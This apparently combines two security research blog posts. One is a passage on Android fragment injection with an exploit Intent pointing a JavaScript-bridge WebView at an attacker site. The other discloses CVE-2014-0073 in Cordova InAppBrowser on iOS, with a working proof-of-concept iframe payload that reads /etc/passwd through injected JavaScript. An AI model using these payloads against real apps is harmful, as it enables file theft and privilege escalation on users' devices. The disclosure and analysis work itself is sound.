The article has an example of fragment injection based on research by the IBM researcher, Roee Hay, who showed how to bypass the old PIN entry screen normally required in order to change the device’s PIN [5]. The Android Settings application contains an exported com.android.settings.Settings class, which extends the PreferenceActivity class, therefore any fragment can be loaded into the Settings class. The researchers chose to inject the ChooseLockPassword$ChooseLockPasswordFragment class into the Settings class. The ChooseLockPassword$ChooseLockPasswordFragment class accepts a boolean extra named confirm_credentials contained within an Intent that is used by the fragment to determine whether or not the user should be asked to type in their old PIN prior to setting a new PIN. Normally, this fragment would have not been accessible to other applications via Intents because its parent Activity (ChooseLockPassword) is not exported, but due to the fragment injection vulnerability, a malicious application can send an Intent with the confirm_credentials extra set to false that reaches the ChooseLockPassword$ChooseLockPasswordFragment class.

That being said, fragment injection could be used to exploit other types of vulnerabilities besides AuthN issues, such as client-side SQL injection, client-side JavaScript, etc. Consider the following example. Assume that the JunkFragment is only used by another Activity named OtherActivity and this Activity is not exported. JunkFragment uses the Intent sent to its parent Activity to load a URL into a WebView component. In this case, the code injects another Java object into the WebView component via the addJavascriptInterface function, which means that if an attacker can force the WebView to load untrusted content then the attacker can use reflection to instantiate other classes in order to call dangerous functions, such as the Runtime.exec function [6].

public class MainActivity extends PreferenceActivity {
       protected void onCreate(Bundle savedInstanceState) {
              super.onCreate(savedInstanceState);
       }      
}
 
public class JunkFragment extends Fragment {
       public void onCreate (Bundle savedInstanceState) {
              super.onCreate(savedInstanceState);
       }
       public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
              View wv = inflater.inflate(R.layout.frag_other, null);
              WebView myWebView = (WebView) wv.findViewById(R.id.webview);
              myWebView.getSettings().setJavaScriptEnabled(true);
              myWebView.addJavascriptInterface(new SomeOtherClass(), "_abc");
              myWebView.loadUrl(this.getActivity().getIntent().getDataString());
              return wv;
       }      
}

From reviewing the Android manifest file, we can tell that the MainActivity is implicitly exported due to the defined intent filter.

<application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
	<activity
            android:name="com.example.tps2.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name="com.example.tps2.OtherActivity">
        </activity>
</application>

In order to exploit this issue, we need to send an Intent to the target Activity, specify the classname of the vulnerable fragment, and include any additional data in the Intent’s URL, or bundle, required to exploit this issue (just a URL in this case that points to a domain that will exploit the JavaScript bridge).

Intent i = new Intent();
i.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
i.setClassName("com.example.tps2", "com.example.tps2.MainActivity");
i.putExtra(":android:show_fragment" , "com.example.tps2.JunkFragment");
i.setData(Uri.parse("http://www.someevilsite.com"));
startActivity(i);  

What makes fragment injection interesting is the fact that Android applications vulnerable to fragment injection have an increased attack surface, since a malicious application on the device can send an Intent to any of the fragments that make up the target application. This allows a malicious application to attack regions of the application via IPC that may lack proper input validation.

[1] – http://securityintelligence.com/new-vulnerability-android-framework-fragment-injection/
[2] – https://cwe.mitre.org/data/definitions/470.html
[3] – http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.1.1_r1/android/preference/PreferenceActivity.java#PreferenceActivity.switchToHeaderInner%28java.lang.String%2Candroid.os.Bundle%2Cint%29
[4] – http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.0.1_r1/android/support/v4/app/Fragment.java#Fragment.instantiate%28android.content.Context%2Cjava.lang.String%2Candroid.os.Bundle%29
[5] – http://securityintelligence.com/wp-content/uploads/2013/12/android-collapses-into-fragments.pdf
[6] – http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-6636

Cordova InAppBrowser Remote Privilege Escalation

By | April 14, 2014

Earlier this year, I identified an interesting vulnerability (CVE-2014-0073) in one of Apache Cordova’s core plug-ins (InAppBrowser). Cordova, also sometimes referred to as PhoneGap, is a popular cross-platform mobile framework that allows developers to write mobile applications in JavaScript and HTML. The JavaScript and HTML code executes within the Cordova WebView and has access to native functionality via a set of plug-ins that is exposed by a JavaScript bridge. How this bridge is implemented varies across the supported platforms such as Android, iOS, Windows Phone, and BlackBerry.

Since the Cordova WebView exposes native functionality to JavaScript, loading any sort of untrusted code into this WebView is a generally a bad idea. If a developer wants to load untrusted web content into their Cordova-based application, then they will use the InAppBrowser plug-in instead. According to the API documentation, “the InAppBrowser window behaves like a standard web browser, and can’t access Cordova APIs.” In order to load a website into the InAppBrowser plug-in a developer can use the following JavaScript code. Note that the target argument is set to _blank.

window.open('http://evil.com', '_blank', 'location=yes');

Since the InAppBrowser is designed to load untrusted code, it seemed like an interesting component to review. I’ll focus on the iOS implementation, because the vulnerability I identified was specific to the iOS implementation. The CDVInAppBrowser class acts as a UIWebViewDelegate and overrides the webView:shouldStartLoadWithRequest:navigationType: method in order to intercept page loads within the plug-in’s WebView. Overriding this method is commonly performed within iOS applications since developers often want to define a custom URI schemes within a WebView. By reviewing the following Objective-C code from the InAppBrowser plug-in, it is clear that the plug-in defines a gap-iab URI scheme in order to pass back information to the trusted Cordova WebView via a callback function.

- (BOOL)webView:(UIWebView*)theWebView shouldStartLoadWithRequest:(NSURLRequest*)request navigationType:(UIWebViewNavigationType)navigationType
{
    NSURL* url = request.URL;
    BOOL isTopLevelNavigation = [request.URL isEqual:[request mainDocumentURL]];

    // See if the url uses the 'gap-iab' protocol. If so, the host should be the id of a callback to execute,
    // and the path, if present, should be a JSON-encoded value to pass to the callback.
    if ([[url scheme] isEqualToString:@"gap-iab"]) {
        NSString* scriptCallbackId = [url host];
        CDVPluginResult* pluginResult = nil;

        if ([scriptCallbackId hasPrefix:@"InAppBrowser"]) {
            NSString* scriptResult = [url path];
            NSError* __autoreleasing error = nil;

            // The message should be a JSON-encoded array of the result of the script which executed.
            if ((scriptResult != nil) && ([scriptResult length] > 1)) {
                scriptResult = [scriptResult substringFromIndex:1];
                NSData* decodedResult = [NSJSONSerialization JSONObjectWithData:[scriptResult dataUsingEncoding:NSUTF8StringEncoding] options:kNilOptions error:&error];
                if ((error == nil) && [decodedResult isKindOfClass:[NSArray class]]) {
                    pluginResult = [CDVPluginResult resultWithStatus:CDVCommandStatus_OK messageAsArray:(NSArray*)decodedResult];
                } else {
                    pluginResult = [CDVPluginResult resultWithStatus:CDVCommandStatus_JSON_EXCEPTION];
                }
            } else {
                pluginResult = [CDVPluginResult resultWithStatus:CDVCommandStatus_OK messageAsArray:@[]];
            }
            [self.commandDelegate sendPluginResult:pluginResult callbackId:scriptCallbackId];
            return NO;
        }

For example, the following URL loaded into the InAppBrowser’s WebView would trigger the functionality.

gap-iab://InAppBrowser85943/['some','data','in','a','JSON','array']

And then the following callback function will be executed in the Cordova WebView. If we can inject in additional JavaScript in this context, then we can access native phone APIs exposed via other plug-ins.

InAppBrowser85943(1, ['some','data','in','a','json','array']);

So far we know the following.

  • The CDVInAppBrowser acts as a UIWebViewDelegate, intercepts page loads via shouldStartLoadWithRequest method, and defines a custom URI scheme (gap-iab).
  • The domain ([url host]) must start with InAppBrowser, conform to RFC 1808, and is used as callback identifier. Note the weakness in this input validation, the callback identifier must only start with “InAppBrowser” and we can bypass the other character restrictions by simply URL encoding the payload.
  • The rest of the URL is treated as a JSON array ([url path]). Technically, we also control this, but injecting in code here will cause a serialization error.
  • The callback identifier and JSON array is passed to the CDVCommandDelegate’s sendPluginResult method.

The sendPluginResult method builds the actual callback JavaScript code using an Objective-C format string method and passes the JavaScript to the evalJsHelper method. Basically, the JavaScript will be put on a queue for later execution within the Cordova WebView.

- (void)sendPluginResult:(CDVPluginResult*)result callbackId:(NSString*)callbackId
{
    CDV_EXEC_LOG(@"Exec(%@): Sending result. Status=%@", callbackId, result.status);
    // This occurs when there is are no win/fail callbacks for the call.
    if ([@"INVALID" isEqualToString : callbackId]) {
        return;
    }
    int status = [result.status intValue];
    BOOL keepCallback = [result.keepCallback boolValue];
    NSString* argumentsAsJSON = [result argumentsAsJSON];

    NSString* js = [NSString stringWithFormat:@"cordova.require('cordova/exec').nativeCallback('%@',%d,%@,%d)", callbackId, status, argumentsAsJSON, keepCallback];

    [self evalJsHelper:js];
}

Given that the attacker partially controls the callback identifier, we can simply break out of the JavaScript string enclosed in single quotes and inject in additional JavaScript code. The impact of this vulnerability depends on which plug-ins have been included into the target Cordova application. For example, the following example exploit, loaded into the InAppBrowser plug-in, demonstrates that we can use the Cordova File plug-in to read from a file on the mobile device, which shouldn’t be possible. A more realistic example might involve reading from a file that contains sensitive data, such as a SQLite database that contains authentication credentials, and then sending this information to the attacker via an AJAX call or via the FileTransfer plug-in.

<html>                                                                                        
  <body>                                                                                
    <iframe src="gap-iab://InAppBrowser'-eval('window.requestFileSystem(LocalFileSystem.PERSISTENT,0,function(fs){fs.root.getFile(%5C%27..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%5C%27,null,function(fe){fe.file(function(fi){var%20r=new%20FileReader();r.onloadend=function(e){alert(e.target.result);};r.readAsText(fi);},function(e){})},function(e){});},function(e){});')-'.com"></iframe>                                                                             
  </body>                                                                               
</html> 

In order to fix the vulnerability, Apache developers added additional input validation within the CDVInAppBrowser and CDVComandDelegate classes to prevent JavaScript injection. Simple fix. I also identified another vulnerability (CVE-2014-0072) in the FileTransfer plug-in implementation on iOS. Basically, the SSL certificate verification and validation was disabled by default unless the trustAllHosts argument was explicitly set to true by the developer.

Given that it is common to encounter Cordova/PhoneGap applications that use older versions of the framework, and plug-ins, these vulnerabilities might stick around for awhile, but the important point to make here is that the specific plug-ins used within a Cordova application can have a large impact on security. Besides the core plug-ins, developers often graft together mobile applications using third-party plug-ins, which may introduce additional security vulnerabilities. Luckily most of the plug-ins are open source and available on GitHub, so we can easily review them for security issues.